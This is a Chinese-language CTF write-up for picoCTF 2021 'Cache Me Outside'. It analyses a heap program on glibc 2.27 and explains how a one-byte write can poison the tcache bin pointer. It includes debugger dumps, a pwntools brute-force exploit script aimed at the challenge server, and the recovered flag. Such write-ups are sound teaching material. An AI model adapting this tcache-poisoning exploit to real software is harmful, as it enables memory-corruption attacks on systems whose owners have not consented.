selph
selph
Published on 2023-11-03 / 199 Visits
0
0

[Pico CTF 2021]pwn-Cache Me Outside

题目分析

题目给了三个文件,libc版本是2.27,其中给了个makefile:

➜  pwn-Cache Me Outside cat Makefile 
all:
	gcc -Xlinker -rpath=./ -Wall -m64 -pedantic -no-pie --std=gnu99 -o heapedit heapedit.c

clean:
	rm heapedit

这里给的提示是-no-pie​服务器上的该程序未开启PIE机制,没有基址随机化

程序本身:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  char val; // [rsp+1Fh] [rbp-A1h] BYREF
  int index; // [rsp+20h] [rbp-A0h] BYREF
  int i; // [rsp+24h] [rbp-9Ch]
  char *v8; // [rsp+28h] [rbp-98h]
  char *dest; // [rsp+30h] [rbp-90h]
  FILE *stream; // [rsp+38h] [rbp-88h]
  char *sry; // [rsp+40h] [rbp-80h]
  const char *v12; // [rsp+48h] [rbp-78h]
  char src[32]; // [rsp+50h] [rbp-70h] BYREF
  char s[72]; // [rsp+70h] [rbp-50h] BYREF
  unsigned __int64 v15; // [rsp+B8h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  stream = fopen("flag.txt", "r");
  fgets(s, 64, stream);
  strcpy(src, "this is a random string.");
  v8 = 0LL;
  for ( i = 0; i <= 6; ++i )
  {
    dest = (char *)malloc(0x80uLL);
    if ( !v8 )
      v8 = dest;
    v3 = dest;
    *(_QWORD *)dest = 'stargnoC';               // Congrats
    strcpy(v3 + 8, "! Your flag is: ");
    strcat(dest, s);                            // flag读取在了dest这里
  }
  sry = (char *)malloc(0x80uLL);
  strcpy(sry, "Sorry! This won't help you: ");
  strcat(sry, src);
  free(dest);                                   // 释放了
  free(sry);
  index = 0;
  val = 0;
  puts("You may edit one byte in the program.");
  printf("Address: ");
  __isoc99_scanf("%d", &index);                 // 可以输入负数
  printf("Value: ");
  __isoc99_scanf(" %c", &val);
  v8[index] = val;                              // 修改一个字节,位于堆上的
  v12 = (const char *)malloc(0x80uLL);          // 申请空闲chunk
  puts(v12 + 0x10);
  return 0;
}

读取flag到堆内存,然后释放该chunk

最后给了个任意写功能,可以在堆地址上的任意位置写入1字节

漏洞利用

对于libc2.27,该版本启用了TcacheBin机制,但对其没有什么安全检查,所以导致可以直接篡改TcacheBin链表的指针

由于只能改1字节,先调试看看

输入0:看看v8指针在哪里,与我们要修改的地方差多少:

You may edit one byte in the program.
Address: 0
Value: 6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
*RAX  0x36
 RBX  0x0
*RCX  0x1
*RDX  0x6034a0 ◂— 'Congrats! Your flag is: picoCTF{testtest}\n'
 RDI  0x0
*RSI  0x1
 R8   0x0
 R9   0x0
 R10  0x0
*R11  0x400b56 ◂— add byte ptr [rax], al
*R12  0x400720 (_start) ◂— xor ebp, ebp
*R13  0x7fffffffdae0 ◂— 0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffda00 —▸ 0x400a80 (__libc_csu_init) ◂— push r15
*RSP  0x7fffffffd940 —▸ 0x7fffffffdae8 —▸ 0x7fffffffdefa ◂— '/home/selph/Downloads/PicoCTF/pwn-Cache Me Outside/heapedit'
*RIP  0x400a43 (main+572) ◂— mov byte ptr [rdx], al
─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
 ► 0x400a43 <main+572>    mov    byte ptr [rdx], al
   0x400a45 <main+574>    mov    edi, 0x80
   0x400a4a <main+579>    call   malloc@plt                      <malloc@plt>
 
   0x400a4f <main+584>    mov    qword ptr [rbp - 0x78], rax
   0x400a53 <main+588>    mov    rax, qword ptr [rbp - 0x78]
   0x400a57 <main+592>    add    rax, 0x10
   0x400a5b <main+596>    mov    rdi, rax
   0x400a5e <main+599>    call   puts@plt                      <puts@plt>
 
   0x400a63 <main+604>    mov    eax, 0
   0x400a68 <main+609>    mov    rcx, qword ptr [rbp - 8]
   0x400a6c <main+613>    xor    rcx, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd940 —▸ 0x7fffffffdae8 —▸ 0x7fffffffdefa ◂— '/home/selph/Downloads/PicoCTF/pwn-Cache Me Outside/heapedit'
01:0008│     0x7fffffffd948 ◂— 0x100000100
02:0010│     0x7fffffffd950 —▸ 0x7ffff7ffa2d0 ◂— add byte ptr [rax], al /* 'J' */
03:0018│     0x7fffffffd958 ◂— 0x36007ffff7ffe710
04:0020│     0x7fffffffd960 ◂— 0x700000000
05:0028│     0x7fffffffd968 —▸ 0x6034a0 ◂— 'Congrats! Your flag is: picoCTF{testtest}\n'
06:0030│     0x7fffffffd970 —▸ 0x603800 ◂— 0x0
07:0038│     0x7fffffffd978 —▸ 0x602260 ◂— 0xfbad2488
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
 ► 0         0x400a43 main+572
   1   0x7ffff7a08b97 __libc_start_main+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Heap:

Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x251

pwndbg> dq 0x602000 40
0000000000602000     0000000000000000 0000000000000251
0000000000602010     0200000000000000 0000000000000000
0000000000602020     0000000000000000 0000000000000000
0000000000602030     0000000000000000 0000000000000000
0000000000602040     0000000000000000 0000000000000000
0000000000602050     0000000000000000 0000000000000000
0000000000602060     0000000000000000 0000000000000000
0000000000602070     0000000000000000 0000000000000000
0000000000602080     0000000000000000 0000000000603890
0000000000602090     0000000000000000 0000000000000000
00000000006020a0     0000000000000000 0000000000000000
00000000006020b0     0000000000000000 0000000000000000
00000000006020c0     0000000000000000 0000000000000000
00000000006020d0     0000000000000000 0000000000000000
00000000006020e0     0000000000000000 0000000000000000
00000000006020f0     0000000000000000 0000000000000000
0000000000602100     0000000000000000 0000000000000000
0000000000602110     0000000000000000 0000000000000000
0000000000602120     0000000000000000 0000000000000000
0000000000602130     0000000000000000 0000000000000000

可以看到,我们任意地址写入的基地址是0x6034a0​,后续程序会申请0x80大小的内存并打印,所以这里我们希望这个申请能申请到写入基地址上,也就是内含flag的地址

那么就需要做的就是修改TcacheBin Head里面的指针0x602088

中间的差值是:5144,

多次调试发现,写入基地址和TcacheBin指针地址的差别就在中间1字节上,写入基地址都是*4​,目标地址的值都是*8

由于服务器未开启pie,所以这里的值可通过爆破,调整一下位置,指向0x603890​中间的0x38​这里

exp:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'warn'
FILE_NAME = "./heapedit"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 17612

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
b*0x000000000400A43
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

for i in range(0x04,0x104,0x10):
    try:
        io = start()
        io.sendlineafter(b"Address: ",b"-5143")
        io.sendlineafter(b"Value: ",p8(i))
        a = io.recv()
        print(a)
        io.close()
    except:
        continue

爆破结果:

➜  pwn-Cache Me Outside python3 exp.py REMOTE
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'Congrats! Your flag is: picoCTF{ cdcd74b0b2c86f668831e26b5d512bc}\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'timeout: the monitored command dumped core\n'
b'\n'
b'\n'
b'timeout: the monitored command dumped core\n'
b'\n'
b'Congrats! Your flag is: picoCTF{ cdcd74b0b2c86f668831e26b5d512bc}\n'
b'\n'
b'\n'


Comment